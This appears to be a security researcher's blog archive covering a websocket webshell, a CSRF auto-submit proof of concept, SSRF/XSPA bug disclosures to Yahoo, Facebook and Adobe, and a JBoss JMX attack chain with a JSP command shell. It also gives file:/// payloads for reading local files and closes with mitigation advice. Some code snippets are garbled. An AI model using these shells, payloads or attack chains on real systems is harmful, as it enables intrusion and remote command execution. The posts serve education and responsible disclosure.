Wednesday, February 18, 2015

Simple websockets based webshell

I'm writing again after a year! It's been an eventful one at that. Multiple conferences and two successful Xtreme Web Hacking trainings in that period.

As part of the XWH training that Akash and I did at nullcon 2015, I built an app to demo the functionality and usage of websockets. I went overboard and converted it into a full fledged web shell.

Websocket Client

The client is a simple connect and send call to a websockets server:
function WebSocketShell()
 if ("WebSocket" in window)
  var server = "serverip_or_hostname:9998/server"
  var ws = new WebSocket("ws://" + server);
 ws.onopen = function()
 ws.onmessage = function (evt) 
  var received_msg =;

 ws.onclose = function(a)
  alert('Error here');
  alert("WebSocket NOT supported by your Browser!");

Websocket Server

The websockets server is a pywebsocket instance. The server side code is a python script that handles the incoming connection and the text.
The text is then passed to a subprocess.Popen call to be executed on the server. The output is collected and sent back to the client via the websocket.

def web_socket_transfer_data(request):
 while True:
  line = request.ws_stream.receive_message()
  if line is None:
  if isinstance(line, unicode):
   proc = subprocess.Popen('cmd.exe /c ' + line, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
   out = +
   request.ws_stream.send_message(out, binary=False)
   request.ws_stream.send_message('Send plain text only!', binary=True)

Get it!

The code is available on Github: You can get it here


To run the server on port 9998 (default in the code, can be changed):
  1. Get pywebsocket
  2. Run python pywebsocket\mod_pywebsocket\ -p 9998 -w ws_server
  3. Open index.html in any browser that supports websockets. Latest Chrome/Firefox is good enough.
  4. Enter a (Windows) command like ipconfig
  5. Hit the Execute! button.
  6. Potato.

Happy Hacking!

Monday, November 4, 2013

Auto submit (onload) a HTML Form with an input field called "submit" - CSRF PoC

This post describes a fairly common scenario I encounter during web application security assessments. Imagine a HTML form with the following code:

<form id="myForm" name="myForm" action="" method="POST">
<input type=text name="val1" id="val1" value="value1"/>
<input type=text name="val2" id="val2" value="value2"/>
<input type=text name="val3" id="val3" value="value3"/>
<input type=text name="submit" id="submit" value="Continue"/>

This form is vulnerable to CSRF due to the lack of a unique token. When I want to build a PoC for CSRF I normally use the body onload=formname.submit() to demonstrate that the form is indeed vulnerable to CSRF and the attack can be stealthily performed using body onload (no user interaction required, apart from page load). In this case, the presence of an input field whose name and id is "submit" complicates matters. The submit() function of the myForm is completely overwritten by the input field and a call to myForm.submit() would yield a "myForm.submit is not a function" error.

To be able to submit data onload of the body or iframe, we would somehow need to submit the myForm without explicitly calling the submit function. The simplest way of doing this would be by converting the input field with name and id "submit" from text / hidden to type "submit". This will however require a user to click on the button (or use JS to perform the click).

There is a simpler way to achieve what we want here. As Quentin answered my query on stackoverflow, we need to steal the submit function from another form. So my final CSRF PoC, complete with stealth and auto trigger looks like this:

<body onload="document.createElement('form')'myForm'))">
<form id="myForm" name="myForm" action="" method="POST">
<input type=hidden name="val1" id="val1" value="value1"/>
<input type=hidden name="val2" id="val2" value="value2"/>
<input type=hidden name="val3" id="val3" value="value3"/>
<input type=hidden name="submit" id="submit" value="Continue"/>

Happy Hacking!

Thursday, June 27, 2013

XSPA / SSRF Vulnerability with the Yahoo! Developer Network

This is another video demonstrating a XSPA / SSRF vulnerability that I discovered on the Yahoo! Developer Network last year. This was a typical XSPA / SSRF bug that allowed an attacker to port scan Internet facing servers using Yahoo!'s machines. A limited amount of service fingerprinting was also possible.

Yahoo! has now fixed this issue and was nice enough to put that in an email. Oh, by the way there was no swag, unicorns,mugs or tshirts.

More on SSRF / XSPA:

Comments and feedback are welcome!

Friday, May 10, 2013

XSPA / SSRF bug with Facebook's Developer Web Application

This post is about a responsible disclosure I made to Facebook recently about a vulnerability with their web application that allowed an attacker to perform port scans on remote machines on the Internet. An attacker could scan Internet facing machines for open ports and proxy his scans through Facebook's IP addresses using this vulnerability.

The URL at is vulnerable to a SSRF / XSPA vulnerability (CWE-918), via the 'q' parameter, allowing an attacker to port scan external internet facing systems and identify IP addresses on the Internal network as well based on error messages and response data.

The following steps can be used to reproduce the issue. All scans have been verified against that is known to have ports 22, 80 and 9929 open.

Step 1: Navigate to and enter the following URL in the 'q' text box (open port test).
A GET request is sent to with the 'q' parameter being passed via the URL.

Step 2: Notice the "Response Code" received by Facebook from the remote server (502).

Step 3: Repeat the request for (closed port test)

Step 4: Notice the Response code received by facebook from the remote server (503).

Other responses that have been noticed for open ports include 200, 404 and 206. An error response "Error parsing input URL, no data was scraped." is also seen if a request to a non ASCII port is sent (3389 etc).

I wrote a simple port scanner in python that utilises this bug to make connections to remote systems which you can download from github.

Facebook paid out a bounty for this bug although they did not fix the issue completely. This is what they had to say:

"There are quite a few ways that our service can be made to issue requests to third-parties, and it's unfortunately not feasible to block non-standard ports on all of them. This debugging tool is one of those endpoints where it's incredibly helpful to allow requests to non-standard ports. We monitor and rate-limit the usage of this endpoint but the implications here are low-risk enough that we've decided not to eliminate this helpful functionality entirely."

And I agree, rate-limiting the number of requests received from a single IP/subnet/network that look suspicious is one way this could be kept under check, however this bug will remain a good example of a functionality that can be heavily abused.

Happy hunting!!

Tuesday, April 23, 2013

XSPA / SSRF Vulnerability with the Adobe Omniture Web Application

This is a video demonstrating the XSPA / SSRF vulnerability that I discovered on the Adobe's Omniture Web Application back in November 2012 while writing a paper for BlackHat2012 AD. This was a typical XSPA / SSRF bug that allowed, amongst other things, to port scan Internet facing servers using Adobe's machines, read local files using the file:// protocol and detect internal machines and services running on them.

Adobe has now fixed this issue and put me on the Adobe's Acknowledgement page for Security Researchers.

More on SSRF / XSPA:

Comments and feedback are welcome!

Sunday, December 2, 2012

AppSecUSA 2012 - Cross Site Port Attacks Talk Video

My talk on Cross Site Port Attacks (XSPA) at the recently concluded AppSecUSA 2012, Austin,TX is now online. Here's an embed:

Comments and feedback are welcome!

Wednesday, November 14, 2012

Cross Site Port Attacks - XSPA - Part 3

In the last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are the different attacks that are possible via XSPA. This post is in continuation with the previous posts and is the last in the series of three. In this post we will see other interesting attacks and also see how developers can prevent XSPA or limit the attack surface itself.

Read Cross Site Port Attacks - XSPA - Part 1
Read Cross Site Port Attacks - XSPA - Part 2

Attacks - Attacking Internal Vulnerable Web Applications

Most often than not, intranet applications lack even the most basic security allowing an attacker on the internal network to attack and access server resources including data and code. Being an intranet application, reaching it from the Internet requires VPN access to the internal network or specialized connectivity on the same lines. Using XSPA, however, an attacker can target vulnerable internal web applications via the Internet exposed web application.

A very common example I can think of and which I have seen during numerous pentests is the presence of a JBoss Server vulnerable to a bunch of issues. My most favorite of them being the absence of authentication, by default, on the JMX console which runs on port 8080 by default.

A well documented hack using the JMX console, allows an attacker to deploy a war file containing JSP code that would allow command execution on the server. If an attacker has direct access to the JMX console, then deploying the war file containing the following JSP code is relatively straightforward:

<%@ page import="java.util.*,*"%>
<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while ( disr != null ) {
disr = dis.readLine();
} %>

Using the MainDeployer under jboss.system:service in the JMX Bean View we can deploy a war file containing a JSP shell. The MainDeployer can be found at the following address:


Using the MainDeployer, for example, a war file named cmd.war containing a shell named shell.jsp can be deployed to the server and accessed via http://example_server:8080/cmd/shell.jsp. Commands can then be executed via shell.jsp?x=[command]. To perform this via XSPA we need to obviously replace the example_server with the IP/hostname of the server running JBoss on the internal network.

A small problem here that becomes a roadblock in performing this attack via XSPA is that the file deploy works via a POST request and hence we cannot craft a URL (atleast we think so) that would deploy the war file to the server. This can easily be solved by converting the POST to a GET request for the JMX console. On a test installation, we can identify the variables that are being sent to the JBoss server when the Main Deployer's deploy() function is called. Using your favorite proxy, or simply using the Firefox addon - Web Developer's "Convert POST to GET" functionality, we can construct a URL that would allow deploying of the cmd.war file to the server. We then only need to host the cmd.war file on an Internet facing server so that we can specify the cmd.war file URL as arg0. The final URL would look something like (assuming JBoss server is running on the same web server):

Use this URL as input to the XSPA vulnerable web application and if the application displays received responses from the backend, you should see something on the lines of the following:

Then its a matter of requesting shell.jsp via the XSPA vulnerable web application. For example, the following input would return the directory listing on the JBoss server (assuming its Windows, for Linux, x=ls%20-al can be used)

We have successfully attacked an internal vulnerable web application from the Internet using XSPA. We can then use the shell to download a reverse connect program that would give higher flexibility over issuing commands. Similarily other internal applications vulnerable to threats like SQL Injection, parameter manipulation and other URL based attacks can be targeted from the Internet.

Attacks - Reading local files using file:/// protocol

All the attacks that we saw till now make use of the fact that the XSPA vulnerable web application creates an HTTP request to the requested resource. The protocol in all cases was specified by the attacker. On the other hand, if we specify the file protocol handler, we maybe able to read local files on the server. An input of the following form would cause the application to read files on disk:

Request: file:///C:/Windows/win.ini

The following screengrab shows the reading of the /etc/passwd file on an Adobe owned server via Adobe's Omniture web application. The request was file:///etc/passwd. Adobe has now fixed this issue and credited me on the Adobe Hall of Fame for the same:

How do you fix this?

There are multiple ways of mitigating this vulnerability, the most ideal and common techniques of thwarting XSPA, however, are listed below:
1. Response Handling - Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.

2. Error handling and messages - Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like "Invalid Data retrieved". Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.

3. Restrict connectivity to HTTP based ports - This may not always be the brightest thing to do, but restricting the ports to which the web application can connect to only HTTP ports like 80, 443, 8080, 8090 etc. can lower the attack surface. Several popular web applications on the Internet just strip any port specifications in the input URL and connect to the port that is determined by the protocol handler (http - 80, https - 443).

4. Blacklist IP addresses - Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.

5. Disable unwanted protocols - Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.


Using web applications to make requests to remote resources, the local network and even localhost is a technique that has been known to pentesters for some time now. It has been termed as Server Side Request Forgeries, Cross Site Port Attacks and even Server Side Site Scanning, but the primary idea is to present it to the community and show that this vulnerability is extremely common. XSPA, in the case of this research, can be used to proxy attacks via vulnerable web applications to remote servers and local systems.

We have seen that XSPA can be used to port scan remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases. XSPA can also be used to exploit vulnerable programs running on the Intranet or on the local web server. Fingerprinting intranet web applications using static default files & application behaviour is possible. It is also possible in several cases to attack internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.). Lastly, XSPA has been used to document local file read capabilities using the file:/// protocol handler in Adobe's Omniture web application.

Mitigating XSPA takes a combination of blacklisting IP addresses, whitelisting connect ports and protocols and proper non descriptive error handling.

In the next several posts I will publish disclosures regarding XSPA in several websites on the Internet which triggered the research into this vulnerability in the first place.